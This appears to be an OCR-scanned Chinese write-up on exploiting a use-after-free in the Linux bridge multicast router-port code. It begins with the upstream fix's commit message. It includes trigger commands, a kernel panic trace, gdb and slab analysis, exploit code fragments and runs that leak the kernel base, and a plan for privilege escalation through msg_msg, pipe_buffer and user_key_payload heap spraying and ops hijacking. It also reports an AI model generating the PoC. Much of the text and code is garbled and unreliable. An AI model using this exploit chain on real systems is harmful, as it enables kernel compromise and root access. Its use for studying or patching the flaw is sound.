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bridge: mcast: Fix use-after-free during router port configuration

[ Upstream commit 7544f3f5b0b58c3961374d060898b5939da31709 ]

The bridge maintains a global list of ports behind which a multicast
router resides. The list is consulted during forwarding to ensure

multicast packets are forwarded to these ports even if the ports are not
member in the matching MDB entr

When per-VLAN multicast snooping is enabled, the per-port multicast

context is disabled on each port and the port is removed from the global
router port list:

# ip link add name brl up type bridge vlan_filtering 1 mcast_snooping 1
# ip link add name dummyl up master br1 type dummy

# ip link set dev dummyl type bridge _slave mcast_router 2
$ bridge -d mdb show | grep router

router ports on bri: dummyl

# ip link set dev br1 type bridge mcast_vlan_snooping 1
S bridge -d mdb show | grep router

However, the port can be re-added to the global list even when per-VLAN
multicast snooping is enabled:

EHEREAT ai EN—MISLIIRRT, R, (EXAEG A —HEaadiFE, "EE
B A sURE A T o JEHARBIRESR ip fr 2 RESEIL, BT R MRS R S O s i
T ERE TN RKBLEA R 2%, AEIR ip link 2Z3IT ip AREMA 1ink (7]
WG RBENRMEA RS —, RBERBEMIAARRENRZ, TS ai ikH
e, XRTEHR, H understand 7t KILIFZHARESI? B 53K TR AN ai
(Google M) Gemini3) MUk T HEAAZ BRI, SRIG IR 7 — L ARPAFFEMRSR H T poc

brit
slave mc;

net bridge

ff R e AL B2 Ja A TR R B T, BT 25 R poc BEfEFS kernel panic,
AR mT LK fil & panic MRS BEAE TIN5

141.802443] Oops: general protection fault, probably for non-canonical address 0x66264bb079693277: 0000 [#1] PREEMPT SMP NOPTI
141.806532] CPU: © UID: 1000 PID: 408 Comm: exp Not tainted 6.12.56 #5
141.806776] Hardware name: QEMU Ubuntu 24.04 PC (1440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 ©4/01/2014
141.807554] RIP: ©010:br_multicast_add_router.part.0+0x63/0x170
141.809779] Code: ff 49 81 c1 30 01 0@ 00 eb Oe 48 8b 10 48 89 c7 48 85 d2 74 26 48 89 do 48 8d be 30 ff ff ff 48 8d 50 98 4c 39 c9
00 00 48 89 f8 48 8b 10 49 89
141.810309] RSP: 0018:ffffc90000bbb808 EFLAGS: 00000246
141.811219] RAX: 66264bb079693347 : ffff8881015a8530 RCX: ffff88810444cd88
1.811372] RDX: 66264bb079693277 66264bb079693277 RDI: ffff888101d2c200
.811540] RBP: ffffc90000bbb848 ffff8881015a8400 RO9: ffff88810444cd88
.811673] R10: ffff8881015a8600 R11: ffff888101d2c200 R12: ffff88810444cc58
1.811818] R13: GO0OAOO0POEOOAA2 R14: DOAOEEEOFFdI3f9 R15: BOOEOOOAEOBO48e0
1.812044] 0000000010020380(0000) GS:ffff8881b9c000OO(0000) knlGS:0000000000000000
1.812201] : 0010 DS: 0000 ES: 0000 CRO: 0000000080050033
812296] : 66264bb079693277 CR3: 00006000106232000 CR4: 00000000000006T0
1.812738] Trace:
1.813643] <TASK>
1.814097] br_multicast_set_port_router+®x27c/0x300
.814319] br_setport+0x332/0x600
1.814450] br_port_slave_changelink+0x50/0x80




RIP #& br multicast add router. part. 0+0x63/0x170, &H— & HIHuE A6 N K7 2w

(myenv) gdb . /vmlinux

Reading symbols from

Use the command to see all stack canary/cookie values on the stack (based on the *usual* stack canary value initialized by glibc)
x/1 br_multicast_add_router+@®x63

4995 LQWORD PTR [/ 1]

XHREIRACIS AT T — TR BUL S 32 48

P e

loc_FFFFFFFF821E86F1:

lea rsi, [rax-eDeh]

lea rdx, [rax-68h]

cmp rcx, r9

cmovz  rdx, rsi

cmp r8, [rdx]

jb short loc_FFFFFFFF821E86E3

EREEr C PNV

rex => ZEiidmc router list
r9 => brmctx->ip6 mc_router list

rsi => RIBip6ixX- rlistiESMnet bridge mcast port&SaAdsT
rdx => #RIEipdix-irlistiE&ERnet bridge mcast portStaAisst

M rax £ TN rex fESI ISR, & pmetx B brmetx (mc_router list My
HHERID B rlist. XBAVEMITHRE I 2 NS A BER P T A, RETHEH
pmctx FHBIEE &4 F) net_bridge port f84t

A gdb P panic MARRSEL CLLEURIERIIME: FEPAT G — 252 Z AT H pipe 1
BE, FWrsiE| pipe, fE continue Z 5 N — MBS B H ARG R AT I
FHEE, RESET rlist BFEAS —MAR WAL, SRR HEE SR
(rsiv rdx) #BAZA R, 5] FHE R 2o E iR F 8N kernel panic

0x66264bb079693347
—- 1
—+ 0x66264bb079693347
0x66264bb0796932df
<— 0x66264bb079693347
0x66264bb079693277
—+ 1
—+ 0x66264bb079693347
«— 0
<— 0x66264bb079693347
—
2
Oxfffdo3fo
0x48e0
—-
—- «— 0x1000a8a20
<— cmp rcx
0x80050033 [
0x106232000 [virtual: «— 0x106242067]
ox6fo [
EFER 0xd01 [ 1
GS_BASE
FS_BASE
cs 0x10 5§

- Oxffff88810444cdB88 - Oxffff88810444cd88
Oxffffffff821e86ff <br_multicast_add_router.part+95> 9
Oxffffffff821e8703 <br_multicast_add_router.part+99>
Oxffffffff821e8706 <br_multicast_add_router.part+102>




HRf AW ? EEER T — FfdtA nlfes2 slab ) cookie? (ERFZ glibe )
tcache X} £d #4T xor ZA%)

BHEEEN rlist lm BAHA RS 2511 5 net _bridge port ik, F3RHEUH kmem cache
PIBENLEL, KL cookie. swabb4 (cookie ptr)#AT xor ia%, HHE T — NN
STE L, XEFEET A slab, KEERZEE N 2 ERT

(myenv) pahole -E -C net_bridge_port ./vmlinux|grep rlist
}ipa_ B Ns 408 16 */
Tip6_ 12 16 */

(myenv) cat test.c

#include <stdio.h>

#include <stdin

static inline uint64_t swab64(uint64_t x)
{
return (uinted_t)((x (uinte4_t)0x000EEOEEEEEEEOFFULL) <<

(uint64_t)((x & (uint64_t)OxOEOEEOAEOEOOFTEAULL)
(uint64_t)((x & (uint64_t)0x0000000000ffOOOOULL)
(uint64_t)((x & (uint64_t)0x00000000ffOOOOOOULL)
(uintéd_t)((x & (uinted_t)0x000000ffOOOO00OOULL)
(uinte4_t)((x & (uint64_t)Ox0000FFEOOAEOE0AAULL
(uinté4_t)((x & (uint64_t)OxOOfTEOREOAEOEORAULL
(uint64_t)((x & (uint64_t)oxffoo000000000000ULL) >> 56);

}

int main() {
uint64_t original = Oxffff888101d2c200ULL
uint64_t swapped = swab64(original);
printf("RE{E: 0x%01611x\n", original);
printf("&EJE: 0x%01611x\n", swapped);

return 09;

N
I

(myenv) ./test
RbE{E: oxffff888101d2c200
HEfS: 0x00c2d2018188ffff
(myenv)

slab contains @xffff888101d2c200-0x200
oxffffesgleid2cooe @
slab: [active, cpu 3]
status:
slab info kmalloc-rnd-03-1k
@
: kmalloc-rnd-03-1k
: SLAB_PANIC

: 6/16
= i

Partial Slabs: (none)
Q@ [NUMA node @, nr_partial/min_partial: 7
Partial Slabs: (none)
p/x ((struct kmem_cache *)0xffff888100044200)->random
= 0x991b1130f93334b8
x/gx Oxffff888101d2c200
0x66264bb079693347
p/x 0x66264bb079693347"0x991b1130193334b8"0x00c2d2018188Ffff
= oxffffgsg101d2fgee
slab contains Oxffff888101d2f800
oxffff888101d2f800 @
[active, cpu 3]

XA poc R THAlA panic ISEHEI SR o, X BACEI LSRR TEMART, Y
St 1 Mk K46 0 735 2 585 — R PR ALA TS A 9T F 56— B, 75
HEAT ARSI FHEHR R — A ROUEAT X MTRTTTHRIL, rlist 5B cookie foHep—4
AF NULL Rl L2 port<p I, TRl FIR B — RIS 8 panic



static struct hlist_node *
3302 br multicast get rport slot(struct net bridge mcast *brmctx,
struct net_bridge_port *port,
struct hlist head *mc_router list)

struct hlist node *slot = NULL;
struct net_bridge port *p;
struct hlist node *rlist;

hlist for each(rlist, mc router list)
p = br_multicast rport from node (brmctx, mc_router list, rlist):

if ((unsigned long)port >= (unsigned long)p)
break;

slot = rlist;

art+99> rdx Oxffff88810164f000 - Oxffff888103d0acee
P
part+102> jb fff 36e3 < >

part+67> otr [rax]
part+70>
.part+73>

|_router.part+78
_multicast_add_router.part
_multicast_add_router.part

OxFFFFFffB821e86ff <br multicast_add_router.part+95>

HE] TR BEEFILA AR, 2SN & arS, H vian Wil R0 2R A4 7 |
[ AR 2L Gemini3 —JFURIFBAT ¢ H 56 M poc, WMIABIRZJEA TR, B
DRI 2R DU 2% i 2 (4 net Link SR SCHOA LM, Ut B AR A e 1 2 DU 20 th e b 0L
SERLH

o —EEPITER, EEHEEB T MR, BT, — & daE RN I
vlan §ERM A mEER T, MR 208 T2 REE, B ATEMIERIASA M RASE 1)E2
W, mAE T, BEKILT WA

br_dev _delete —> del nbp —> br stp disable port —> br multicast disable port



< OC | (@ https://elixir.bootlin.com/linux/v6.12.56/source/net/bridge/br_multicast.c#.2160

= / net / bridge / br_multicast.c All symbols

2160 static void br_multicast_toggle port(struct net_bridge port *port, bool on)

#if IS_ENABLED(CONFIG_BRIDGE VLAN FILTERING)
if (br_opt_get(port—br, BROPT_MCAST_VLAN_SNOOPING_ENABLED)) |
struct net_bridge vlan group *vg:
struct net_bridge_vlan #vlan;

rcu_read_lock()
vg = nbp_vlan_group_rcu(port);
if (lvg) |
rcu_read_unlock() ;
return

* jterate each vlan, toggle vlan multicast context *
list_for each entry rcu(vlan, &vg- vlan list, vlist) |
struct net_bridge mcast_port *pmctx =

&vlan- port_mcast_ctx;
u8 state = br_vlan get_state(vlan)

ontext when state 15

if (on && br_vlan_state allowed(state, true))
br_multicast_enable port_ctx (pmctx)
else
br_multicast_disable port_ctx (pmctx)

rcu_read unlock() ;

return;
#endif
* toggle port multicast context when vlan snooping is disabled *
if (on)
br_multicast_enable port_ctx(&port—>multicast ctx):
else

br_multicast_disable port_ctx(&port—>multicast_ctx):

ALY vian (W R R, R4 vian SERMEEE, Wt HI T Az HL

B F poc filk panic (728 H, HEHZHEE, ¥ pnctx #EA brmetx H

(T 33k net bridge port? Wik ZMiN—2%% net bridge port 5| ), TH
TR T vian filr, 7EMIBRET A% E vian S5 20 7RI MBS A, &Sk
net bridge port CHRMENIA 5| FHREVT R B'E S8 val, XHTHTIFHEM rlist
% A #E slab [ cookie (HA7ECNAEEHRE, Mfil R f# 5] FIN S 2 kernel panic

i R B FRAT H BT S 282 net_bridge_port IXAEEHIAH) vaf, MJET kmalloc—1k
RAGAF M, TRTFE A BEAE W vaf W2 S 1R

B EWHTHAT leak, ZEH —FFUAAEE sk buff FIEHRE, S5RKIMIEMN
kmalloc—cg "orHc, HWAFREATHE: & XAGE sendnsg AEIEHIEE, HAIIH
U SR BRI T, ARESTERGEEG JE AL add key, —JFIAFIH desc, fHaEHAF
7 null byte A4 E, &a KIS user key payload 27 kmalloc



€ C | (O https://elixir.bootlin.com/linux/v6.12.56/source/sec

= | security / keys / user_defined.c All symbol Search Ide:
29 int user preparse(struct key preparsed payload *prep)

struct user key payload *upayload;
size t datalen = prep>datalen:

if (datalen <= 0 datalen > 32767 !prep—>data)
return ~EINVAL;

upayload = kmalloc (sizeof (*upayload) + datalen, GFP_KERNEL) ;
it (lupavload)
return ~ENOMEM;

* attach the aata *
prep rquotalen - datalen;
prep—>payload. data!0] = upayload;
upayload->datalen = datalen:
memcpy (upayload >data, prep >data, datalen) ;
return 0;

1 i AP S Z IR IR AT AL, RS R HE B hE BN EE (F — @R, Hsk
FFAMER AR RO 75 1 I Z5 R AR 2URAT 4 1, B BCR Mt /N T e A5 8RR B bbb 2
ARSI D

FRZFEEE RSB msg_msg, BIRAIULE msg_msg 43 HL I AT M LR H)
bucket HUih, {HANR Lids2 slab (IRGE, 8 KRR ECREBETS N A7[E)T buddy
system F K &AL msg msg, ERESLHL uaf (4R 7% 547 PHIEER A N Z 2 fafa i,
ST SR F B e ) S LR B R B BT 1R cross_cache )

X W T2 i RO TR 23 i DA A s e 5, R R Bt LU Nz % msg msg
HBIAZ 2 T 405 (EFH — TR U EIFRE msg_msg I next FaEH LA & m ts A1, fE
HELWAERNMALE), Hinfs BB pipe buffer, F¥FH flags #AEEHEE
dirtypipe Bl BIHF page R4 H T vaf, 5B EHER L3521 /ete/passwd
file struct ZLSUPRALHIIE —A root F P AL 1?7 A4 M nsg msg (£ N
5 I e B TEGHN, TA SIS O IR N AF AN R, KA kernel X m_ts
52 check B, JaiFJEIERGEEAN—MEE, Aemamtl; HILBER MR T
ROREROR AT AR I, H SN T 505 5 NI FR BT T AN & AR I S8 e Az 1w ]
& RS N RABEH A — 2N Erda i r), I H&—4 1024 WA, AR Z
TATHIX 1024 B2 fa FHERT 512 INAE (KIBAE A cross_cache SREEID), JR AL
[ri) A A HH TR BRI FR BT AN R AR 1r) P A7 Sk 7 g 2

EH BRI pipe buffer, HEIRERIAEC 1024, HR] DL resize B 512, JF
HAEAE ops, i JG Al LAZE ROP 24, {HEH —ANm@. HAiHEA leak H! kernel
RRGER JEHE, & ROP #5348 kaslr, {HJE msg msg H BTRESLIL R G AT &Rk, WERK?

HL | user_key_payload EN—ANE R HEEA R EAEER, FRA7TH 575 Z A H



EESGIREHME XS RN datalen BAH AN —PMEEFRITT CHER T IX BZ T 2 DU
B, B2 ARMR T E - RIER, EEESANRERERARD, R 7
(EZAZHEAT ABEAT 1eak W ? HRELAR AR E ISR FA kmal loc—1k 73 BE I A7
HEER T — TIRAHRB], HEMENTE exploit BATHIHIKESAC £1lp A5 REHUH
Ve A7, AR 2 A KB £ilp 1) ops FREFABULF 7 ? — A2 XA TR, ik
HLH B HE TR A WA R 2 TRE R, (B S IR 2 J LA A, BA
PAFAT Jeyl 2 L A T A FRDBR 0 Ao i T 20T A I T PSS £ 1p B i iR B
RYEFFRERED, JLABATEE FEARERLERFPLR T (BIBER— R R 556 75 224
ﬂé/\@l’ I R ERAEAEfRE R LIl 1), TRIFIATK kmal loc—1k 2} FCMI &5, HKIH
o (EARRRERIL, MBEIMT AR, BRI, AT KR, B
Bﬂﬂﬁﬁz uaf ff] net_bridge port AMAF 1 ? LS5 HAA KR RESLIL 1eak

A T2 ORI TR F 55 2 2B TR 72 A exploit A5, MRS leak F hajick #B5
CA55% T, MHTZRAMARE#REZS ((EENFSREFEIERNEEE), M
kernel FRIBEHLACAETFHLIIIS TSR, leak HFFESER— W EF T, FTLAA T3 EsL
IS B 2% 1eak A1 hijack BEATHFR 2>

exploit(){

argc;
buffer[512];
*argv[16];

trig_uaf(@);

if(leak_ptr()){
printf("[-]leak _ptr failed!\n");
exit(-1);

s

trig_uaf(uaf_ptr);

for ( i=0; 1< 16; i++) delete_dummy_device(i);
*cmd11[] = {"dev", "bri", };
argc = build_stack_argv(cmdll, buffer, buffer), argv);
iplink_modify(RTM_DELLINK, @, argc, argv);
if(!kernel_base){
printf("[-]kernel_base not found!\n");
exit(-1);

LB BT leak H kernel AUBSBIENE T, 1M H BLDh 248 w5 1



root@syzkaller:~# dmesg -n 1
root@syzkaller:~# su test
test@syzkaller: /roots /fexp

idx 15: uvaf_ptr = 0xffff8ag8beef23ceo

[-]kernel_base not found!
test@syzkaller:/root$ fexp

idx 14: vaf_ptr = Oxffff8a8b83d35400
[+]Found kernel_base: oOxffffffffa4200000
test@syzkaller: /root$

exit

root@syzkaller:~# cat /proc/kallsyms |grep ffffffffad200000
frffffffad200000 T _stext
fiffffffad200000 T _text

frffffffad200000 t _ pfx_sev_es_terminate
root@syzkaller:~#

X BB A ITE ] DAL leak BB — D REL WA —V0oAT 17 RiEBAT A%
JEEH MW E DT T

SRR AT AR L SARYE B 7, B 2 LA EE

1. FIH vaf B5F54FE1E leak 1 object Kbl

2. ¥ uaf BIeEHEIERE WL R SR RE

3. MHAMEEBEIBEH GGG user_key payload #4id& HBk 71 R 1E M % kernel base
4. FAMERSIREFIESS G nsg nsg Wit HAF BN AARIRSE, 5] pipe buffer

RARATAEZERIN — pipe buffer WAER NS, ¥ ops $50) v 44 N A7 R A] #2
il kernel 27

X B IR AT TAE S8 PRI R W 22 7F single open, {HAZEMH/K kernel & H S, AT
PICA T B IEVREFR N T4, 24 done CLZ Bk 4 H 1hd BH BRE IF 1 N A7 30 55 22 X 1Y)

test@syzkaller:/root$ /exp

idx 18: uvaf_ptr = Oxffff888103ac7400
done

done

test@syzkaller:/root$ /fexp

idx 5: uvaf_ptr = Oxffff888100f76800

done

done

test@syzkaller:/root$ /exp

idx 5: uaf_ptr = exffff88810964f800
donefl

X FEAE nsg_msg 1 next faEl, B MET kmalloc—cg-512, WIHRAE A
pipe buffer ¥H S BEBMINAT, 7554 next FREFE N 0 F FH A

x/10gx Oxffff88810964f800
B Oxffff88816659aech Oxffff88810659aecd
0x0000000000000376 0x00000000000003d0
axffffesg1065dfann 0x0000000000000000
oxffff8881065df998 oxffffffffa1147480

E 0x0000000000000000 0x0000000000000000
slab contains Oxffff8881065dfafe
oxffffess1065dfaee @

ML e kmalloc—cg—512 B EL3% T Wi 5 2$AT ops—>release I T 54T T



< & | O httpsy//elixir.bootlin.com/linux/v6.12.56/sourcefinclude/linux/pipe_fs_ih#1213

/ include / linux / pipe_fs_i.h All symbol
213

static inline void pipe_buf release(struct pipe inode info *pipe,
struct pipe buffer *buf)

L

const struct pipe buf operations *ops = buf->ops;:

buf->ops = NULL;
ops >release (pipe, buf):

P

for-each-reg.h:6

order; thing

T2 BTG dataonly IXFHE AT, 5 SE ROP HE ARG IO BR ) i {8 AT LA
EATHEIC, X R ER A G T

Ja S H WAE 2R BEANBEE dataonly HIES T FFHIEH exploit



